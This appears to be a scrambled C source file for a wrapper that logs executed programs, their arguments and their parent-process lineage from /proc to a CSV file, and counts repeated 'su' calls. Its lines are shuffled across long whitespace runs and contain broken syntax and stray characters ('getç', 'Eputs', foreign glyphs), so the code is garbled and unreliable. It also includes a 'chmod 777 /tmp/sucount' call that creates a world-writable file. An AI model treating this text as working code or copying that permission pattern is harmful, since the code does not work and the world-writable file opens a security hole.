                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ppid = (char *) malloc(MAXPIDDIGITS * sizeof(char));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            sprintf(pathname, "%s%s%s", PROC, pid,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MAXPATHLEN);}
        *
                                                      infobuf[j] = (char) NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                  void getinfo(char *procline, char *infobuf)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      return(0);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            free(statline);free(stat);free(label);free(ppid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        fclose(pstats);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (strncmp(ppid,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    while (fgets(statline, MAXLINELEN, pstats))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if ((! statline) || (! label) || (! stat) || (! ppid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          statline = (char *) malloc(MAXLINELEN * sizeof(char));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (! pstats) {return(NOLOGERR);}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      pstats = fopen(pathname, "r");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          sizeof(char));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                pathname = (char *) malloc((strlen(PROC)+strlen(pid)+strlen(STATUS))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        char *statline, *pathname,
                                                                                                                                                                                                                                                                                                                                                                getdata = logspaces = j = 0;
                                                                                                                                                                                                                                                                                                                                                                                          {int i, j, getdata,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    label =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      free(pathname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (! pathname) (return(NOMEMERR);)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        {FILE *pstats;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              int log_lineage(char *pid)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      /* Extract data from status
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                [return(NOLOGERR);]
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /* Trace process lineage, results in lineage
        Extract label
                                                                                                          else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      else
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (! strncmp(NAME, statline, strlen(NAME)))
                                                                                                                                                                                                                                                                                                                  (if (getdata)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (if (! strncmp(PPID, statline, strlen(PPID)))
                                                                                                                                                                                                                                                                                                                                    (i = 0; i < strlen(procline); i++)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (strncat(lineage, "\n", 2);)
                                                                                                                                                                                                                                else if (! isspace(procline[i]))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      {getlabel(statline,
                                                                                                                                                                                                                                                                                  {if (logspaces && (procline[i] !=
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (strncat(lineage,";",2);translate(stat);)
                                                                                                if (procline[i] ==
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    (char *) malloc(MAXLABELLEN *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (getlabel(statline, label);getinfo(statline, stat);)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                {tmpstring[0]=stat[i];tmpstring[1]='\0';strncat(lineage,
                                                                                                                                                            infobuf[j] =
                                                                                                                                                                                                            {logspaces = 1;
                                                                                                                                                                                                                                                            (infobuf(j) = procline(i);j++;)
    from status
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        ZERO,
                                                                                                                                                                                                                                                                                                                                                                                          logspaces;
                                                                                                                                                                                  procline[i];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    strlen(ZERO))) {log_lineage(ppid);}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                label); getinfo(statline,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      *ppid,
file in proc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      lines in
                                                                                                        (getdata
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          *stat,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  proc
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                sizeof(char));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                STATUS);
                                                                                                                                                                                                                                                                                        '\n')
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          *label;
    of
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      0f
    the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      ad
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      a PATH-like
    form:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      form:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                ppid);}
    "Label:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "Label:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      string
    data"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                      data"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        *
```

```
getdata = i = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    for (i = 0, j = strlen(s) -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      void reverse(char s[])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         return i;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            infobuf[i] = (char) NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       while (procline[i] != ':') (infobuf[i] = procline[i];i++;)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (int i, getdata;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           int getlabel (char
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 void itoa(int n,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    int log(char *logfile,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               (int c, i, j;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          (int i, sign;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              /* From K&R page 62: Reverse order
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    /* From K&R page 64: int to
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                / # File stuff.c
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           * argv: argument array for program*,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            * program: name of the program being wrapped
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   s[i] = ' \0';
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (sign < 0) \{s[i++] = '-';\}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            reverse(s);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           FILE *logfp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  do {s[i++] = n % 10 + '0';} while ((n /=
                                                                                                                                          pidstr =
                                                                                                                                                                                                                                                                                   fputs ("\n\"Args\"", logfp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             char *pidstr;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    int i, pid;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                Logs the programs that have been run
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             i = 0;
                                             fclose(logfp);
                                                                      fputs("\n", logfp);
                                                                                         log_lineage(logfp, pidstr);
                                                                                                                 itoa(pid, pidstr);
                                                                                                                                                                   pid = getpid();
                                                                                                                                                                                                               fputs(argv[i], logfp);
                                                                                                                                                                                                                                       fputs(",", logfp);
                                                                                                                                                                                                                                                            for (i = 0; i < argc; i++) {
                                                                                                                                                                                                                                                                                                               fputs(program, logfp);
                                                                                                                                                                                                                                                                                                                                    fputs("\"User's call\",", logfp);
                                                                                                                                                                                                                                                                                                                                                                                          return
                                                                                                                                                                                                                                                                                                                                                                                                             //fclose(logfp);
                                                                                                                                                                                                                                                                                                                                                                                                                                     //printf("Can't open log file\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (! logfp)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       logfp = fopen(logfile,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   argc: number of args
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   logfile: name of the file to put the log
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if ((sign = n) < 0) (n =
                                                                                                                                          (char *) malloc(sizeof(char) * MAXPIDDIGITS);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 char s[])
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 *procline, char *infobuf)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    char *program,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 for program
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    -n;)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      string, results
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      1; i < j; i++, j--)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           of characters
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    int argc,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10) >
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ä
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        ဂ်
၁
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    char *argv()) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              ä
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              ß
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      s[i];s[i] =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              *
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           sizeof(char));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              void log_lineage(FILE *filep, char *pid) {
                                                                                                                                                                                                                  ppid);)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              * file filep.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     * Traces the process lineage of process pid
                                                                                                                                            #endif
                                                                                                                                                                                            elsif
                                                                                                                                                                                                                                                                  ifdef DEPTH
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 stat = (char *) malloc(MAXINFOLEN * sizeof(char));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           pathname = strncat(pathname, STATUS, strlen(STATUS));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  strncpy(pathname, proc, strlen(proc));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                pathname = (char *) malloc((strlen(proc) + strlen(STATUS))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 strncpy(proc, PROC, strlen(PROC));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        proc = (char *) malloc((strlen(PROC)+strlen(pid))*sizeof(char));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 char *statline, *proc, *pathname, *ppid, *stat, *label;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   printf("Can't open file %s for reading\n", pathname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             pstats = fopen(pathname,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         proc = strncat(proc, pid, strlen(pid));
                                                                                                                                                               if (strncmp(ppid,
                                                                                                                                                                                                                                   if (strncmp(ppid, ZERO, strlen(ZERO))) {depth++;log_lineage(filep.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      statline = (char *) malloc(MAXLINELEN * sizeof(char));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if (! pstats)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       fputs(label, filep);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            getinfo(statline, ppid);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 getlabel(statline, label);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         while (fgets(statline, MAXLINELEN, pstats)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               label = (char *) malloc(MAXLABELLEN * sizeof(char));
                      free(stat)
                                             free (proc);
                                                                    free(pathname);
                                                                                             free(statline);
                                                                                                                 fclose(pstats);
                                                                                                                                                                                                                                                                                                            fputs("\n",
                                                                                                                                                                                                                                                                                                                                                                                                                                   fputs("\"", filep);
                                                                                                                                                                                                                                                                                                                                                                                                                                                              getinfo(statline, stat);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   getlabel(statline, label);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               else (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    fputs("\",",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   fputs("\"",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (! strncmp(PPID,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                fputs("\n\"->\",", filep);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              //fclose(pstats);
free(ppid);
                                                                                                                                                                                                                                                                                                                                                               Eputs(stat,
                                                                                                                                                                                                                                                                                                                                                                                      fputs("\",",
                                                                                                                                                                                                                                                                                                                                                                                                             fputs(label, filep);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           puts(ppid,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           = (char *) malloc(MAXPIDDIGITS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               filep)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             filep);
                                                                                                                                                                                                                                                                                                              filep);
                                                                                                                                                                                                                                                                                                                                                               filep);
                                                                                                                                                                                                                                                                                                                                                                                filep);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                filep);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Results are in the form of a
                                                                                                                                                                 ZERO, strlen(ZERO))) (log_lineage(filep, ppid);)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                statline, strlen(PPID))) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           sizeof(char));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     and logs the results
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  .csv file.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        ij
```

```
void itoa(int n, char s[]) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        void getlabel(char *procline, char *infobuf) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   void getinfo(char *procline, char *infobuf) {
                                                                                                                                                                                                                                                     /* From K&R page 64 (see wrapper.h for details)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            /****
                            s[i++] = n % 10 + '0';
                                                                                                                                n = -n;
                                                                                                                                                                                                                                                                                                                                                                  1++;
                                                                                                                                                                                                                                                                                                                                                                                                                                      getdata = logspaces = i = 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                  int i, getdata, logspaces;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                getdata = logspaces = j = 0;
} while ((n /= 10) > 0);
                                                                                                                                                  if ((sign = n) < 0) {
                                                                                                                                                                           int i, sign;
                                                                                                                                                                                                                                                                                                           infobuf(i] = (char) NULL;
                                                                                                                                                                                                                                                                                                                                                                                      infobuf[i] = procline[i];
                                                                                                                                                                                                                                                                                                                                                                                                                while (procline[i] != ':') {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      getdata
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              else if (procline[i] == ':') {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 else if (! isspace(procline[i])) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              if (getdata) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               int i, j, getdata, logspaces;
                                                                                                                                                                                                                           Converts an int n to a string, puts the results in s.*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (logspaces && (procline[i] != '\n')) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          for (i = 0; i < strlen(procline); i++) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        Extracts the data from a line of the status
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       procline: a line of the file /proc/(pid)/status
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     file in proc. Lines are of the form:
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Extracts the label and from a line of the status
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          infobuf[j] = (char) NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   procline: a line of the file /proc/(pid)/status
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 infobuf: array to put the data in*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          j++;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             file in proc. Lines are of the form:
                                                                              # 0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   infobuf[j] = procline[i];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                infobuf(j) = procline(i);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               infobuf: array to put the data in*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             logspaces = 1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 "Label: data"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           data"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               void reverse(char s[]) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 int process_su(char *command, char *argv[], char *envp[]) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 ****
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             /* From K&R page 62 (see wrapper.h for details)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             * Keeps track of how many times "su" has been called in a row.*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           * Reverses the order of the
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          s[i] = s[j];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        c = s[i];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            for (i = 0, j = strlen(s) - 1; i < j; i++, j--) (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           s[i] = ' (0';
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           else {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       system("chmod 777 /tmp/sucount"); //change this later
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              printf("Can't create file\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      s[j] = c;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         int c, i, j;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (sign < 0) {
s[i++] = '-';
                  fclose(sufp);
                                            putc(count, sufp);
                                                                                                                                                                                                   sufp = fopen(SU_FILE,
                                                                                                                                                                                                                               count++;
                                                                                                                                                                                                                                                         else {
                                                                                                                                                                                                                                                                                                                                                                                                                                      printf("Invalid file\n");
                                                                                                                                                                                                                                                                                                                                                                                                                                                            if (count == EOF || count < 0) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      fclose(sufp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               count = getç(sufp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           fclose(sufp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     putc(1, sufp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                return -1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      fclose(sufp);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (! sufp)
